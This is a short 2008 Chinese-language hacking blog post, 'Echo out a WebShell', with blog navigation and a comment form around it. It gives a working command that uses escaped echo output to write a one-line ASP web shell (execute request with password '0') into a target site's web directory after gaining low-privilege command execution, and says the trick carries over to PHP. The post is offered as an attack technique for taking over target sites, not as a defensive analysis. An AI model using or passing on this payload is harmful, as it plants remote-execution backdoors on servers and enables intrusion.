数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



Echo 出 WebShell
樱木花盗 发表于 2008-2-12 19:30:21

前年就发现并用到了。。。好久不用几乎忘了。。。贴出来记之。。。

By 樱木花盗 www.03389.com QQ:66565841
在旁注过程中,可以执行cmd而权限又比较低的情况下,有时候可以用这个方法帮你拿下目标站。
命令格式
Echo 语句 >目标站绝对目录
例如:

echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp


这样访问目标站的目录下就会生成一个密码为0的asp的一句话,此方法在PHP等脚本语言均适用,大家灵活发挥。

 


阅读全文 | 回复(2) | 引用通告 | 编辑
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.